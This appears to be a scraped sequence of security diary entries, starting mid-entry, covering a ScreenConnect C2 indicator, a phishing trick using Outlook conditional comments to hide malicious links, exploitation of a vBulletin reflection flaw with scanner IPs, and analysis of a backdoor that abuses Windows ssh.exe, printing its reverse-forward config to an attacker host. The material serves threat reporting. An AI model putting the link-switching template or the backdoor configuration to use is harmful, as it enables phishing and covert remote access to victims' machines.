ScreenConnect[1] is a well-known remote access tool that will allow the Attacker to access the Victim's computer.

The tools is installed with the following C2 config: tqtw21aa[.]anondns[.]net (151[.]242[.]63[.]139) on port 8041.

[1] https://www.screenconnect.com/

Xavier Mertens (@xme)
Xameco
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

I recently came across an interesting phishing e-mail. At first glance, it looked like a “normal” phishing that tried to pass itself off as a message from one of the Czech banks asking account holders to update their information…

Nevertheless, when I hovered above the rectangle that a recipient was expected to click on, I was surprised to see that the link in the pop-up actually pointed to the legitimate domain of the bank.

My first thought was that threat actors behind the phishing made a mistake. My assumption was that they used a real e-mail from the bank as a baseline that they wanted to modify to create a message that would point recipients to a malicious site, and mistakenly sent it out before it was finished – strange as it may sound, it wouldn’t have been nowhere near the first case of something like that I’ve seen. 

Nevertheless, once I looked at the HTML code of the message, it quickly emerged that I was wrong. The threat actors actually used a technique which changes displayed content based on a “browser” it is opened in. The technique in question leverages HTML conditional statements <!--[if mso]> and <!--[if !mso]> that specify content that should be displayed if a  message/HTML page is opened in Outlook or in any other reader/browser.

Using it, threat actors behind the message caused the link shown/pointed to in Outlook to a benign one, while making it point to a – presumably – credential stealing website in any other e-mail client/browser…

<!--[if mso]>
    ...
    <a href=[benign link] >
    ...
<![endif]--><!--[if !mso]><!-->
    ...
    <a href=[malicious link] >
    ...
<!--<![endif]-->

In this case, threat actors likely used this technique with the intention of hiding the malicious link in corporate environments, where Outlook is commonly used (alongside security mechanisms that scan web traffic, DNS requests, etc.) and where users would probably be less likely to click, since an e-mail from a bank sent to their work e-mail, instead of a private one, would probably be a red flag on its own, while ensuring that recipients who opened the e-mail in a non-Outlook client would still be directed to the malicious website.

While this approach isn’t new – in fact, it has been documented since at least 2019[1] – its use in the wild is not too common… And since it is therefore among the lesser-known phishing techniques I believe it is worthy of at least this short reminder of its existence.

[1] https://www.libraesva.com/outlook-comments-abused-to-deliver-malware/

-----------
Jan Kopriva
LinkedIn
Nettles Consulting

Last week, Egidio Romano disclosed an interesting and easily exploitable vulnerability in vBulltin. These days, bulletin boards are not quite as popular as they used to be, but they are still being used, and vBulletin is one of the most common commercially supported platforms to create a bulletin board. The vulnerability is remarkable as it exemplifies some common issues with patching and keeping your software up to date.

vBulletin is written in PHP (just like this website). To create a modern single-page application in PHP, one typically needs to create an API. This API often exposes internal classes. A URL like https://example.com/api/test may be called the "test" method in our "API" class. Of course, you may not want to expose all your methods to the API, but only select methods you think are safe to use. 

One way to restrict access to specific methods has been to mark them as "private." Only "public" methods are typically accessible from outside the particular class. To evaluate any function, vBulletin uses "Reflection," an API that allows your code to interrogate classes to see what is available and how to call specific methods. As brilliantly explained by Karmainsecurity [1], this is where the problem arises.

PHP 8.1 changed the behavior of the Reflection to allow the execution of private methods. Earlier, PHP used "ReflectionMethod::setAccessible" to regulate if a method was accessible. However, "As of PHP 8.1.0, calling this method has no effect; all methods are invokable by default." [2] This change is not very prominent, and it took me a while to find it after seeing it mentioned in the Karmainsecurity blog.

Lesson #1: Patches MAY include subtle changes in behavior, removing security controls that you are used to and expect to "just work."

The next issue is the patch for this vulnerability. The patch was released over a year ago, in April 2024 [3]. The patch notice mentions: "To maintain site security, you should apply this patch as soon as possible." There were no details, no CVEs, no statement as to the nature or impact of the vulnerabilities. In other words, There is no help gauging the criticality of the vulnerability.

Lesson #2: Patches MAY include essential security improvements, even if vendors do not disclose them.

In other words, If you upgrade PHP too early, you lose. If you upgrade vBulletin too late, you lose.

We started seeing exploit attempts on May 25th, two days after the blog post was released.

 

Date	URL	Count
2025-05-25	/ajax/api/ad/replaceAdTemplate	25
2025-05-26	/ajax/api/ad/replaceAdTemplate	8
2025-05-27	/ajax/api/ad/replaceAdTemplate	53
2025-05-28	/ajax/api/ad/replaceAdTemplate	4

So far, we have seen these IP addresses scanning for the vulnerability:

195.3.221.137: This appears to be a mail server in Poland. It has been doing various recon scans for web applications starting back on May 12th.
169.150.203.14: This IP address is located with a British colo provider (Datapacket) and has done little other scanning. 
23.162.40.123: Scanning very much like 169.150.203.14. These may be under the control of the same threat actor. Located with Cyber Data.
176.65.149.193: Also similar to the prior two IPs.  
 

[1] https://karmainsecurity.com/dont-call-that-protected-method-vbulletin-rce
[2] https://www.php.net/manual/en/reflectionmethod.setaccessible.php
[3] https://forum.vbulletin.com/forum/vbulletin-announcements/vbulletin-announcements_aa/4491049-security-patch-released-for-vbulletin-6-x-and-5-7-5

 

---
Johannes B. Ullrich, Ph.D. , Dean of Research, SANS.edu
Twitter|

For most system and network administrators, the free SSH client Putty has been their best friend for years! This tool was also (ab)used by attackers that deployed a trojanized version[1]. Microsoft had the good idea to include OpenSSH (beta version) in Windows 10 Fall Creators Update. One year later, it became a default component with Windows 10 version 1803. I remember the join of type for the first time "ssh" or "scp" in a cmd.exe! SSH is a very powerful tool that can be used in multiple ways, and it was de-facto categorized as a "LOLBIN"[2]. 

I'm hunting for scripts or binaries that refer to "C:\Windows\System32\OpenSSH\ssh.exe" and found an interesting sample. The file was uploaded on VT as "dllhost.exe" (SHA256:b701272e20db5e485fe8b4f480ed05bcdba88c386d44dc4a17fe9a7b6b9c026b) with a score of 18/71[3]. It tries to abuse ssh.exe to implement a simple backdoor on the victim's computer. It did not work when I started to analyze it on my REMWorkstation (the Windows system we used in FOR610[4]), I had to install OpenSSH manually. Let's review how it behaves.

First, the malware tries to start an existing "SSHService" service:

If it's not successfull, the malware tries to read a registry key (SOFTWARE\SSHservice) and access the previously saved random port:

If not found (first malware execution), a random port is generated:

Then saved:

A SSH configuration file is created, it contains the attacker's C2:

Now the malware enters an infinite loop and performs a long sleep at each iteration:

Then it tries to launch a ssh.exe process with the generated configuration file:

The malware creates the configuration file in c:\windows\temp\config:
Host version
    Hostname 193[.]187[.]174[.]3
    User ugueegfueuagu17t1424acs
    Port 443
    ServerAliveInterval 60
    ServerAliveCountMax 15
    RemoteForward 40909
    StrictHostKeyChecking no
    SessionType None

The C2 server was down but the configuration file in invalid, the line 7, the RemoteForward syntax is:

RemoteForward [bind_address:]port local_address:local_port

Conclusion: OpenSSH being available on most Windows hosts for a while, it deserves some monitoring! (scp.exe is a nice way to exfiltrate data)

[1] https://hivepro.com/threat-advisory/unc4034-slips-in-a-backdoor-with-trojanized-putty/
[2] https://lolbas-project.github.io/lolbas/Binaries/Ssh/
[3] https://www.virustotal.com/gui/file/b701272e20db5e485fe8b4f480ed05bcdba88c386d44dc4a17fe9a7b6b9c026b/details
[4] https://www.sans.org/cyber-security-courses/reverse-engineering-malware-malware-analysis-tools-techniques/

Xavier Mertens (@xme)
Xameco
Senior ISC Handler - Freelance Cyber Security Consultant
PGP Key

YARA 4.5.3 was released with 5 bugfixes.

I want to take this as an opportunity to remind you that YARA is to be replaced with YARA-X, a rewrite in Rust.

YARA-X is already powering VirusTotal.

Didier Stevens
Senior handler
blog.DidierStevens.com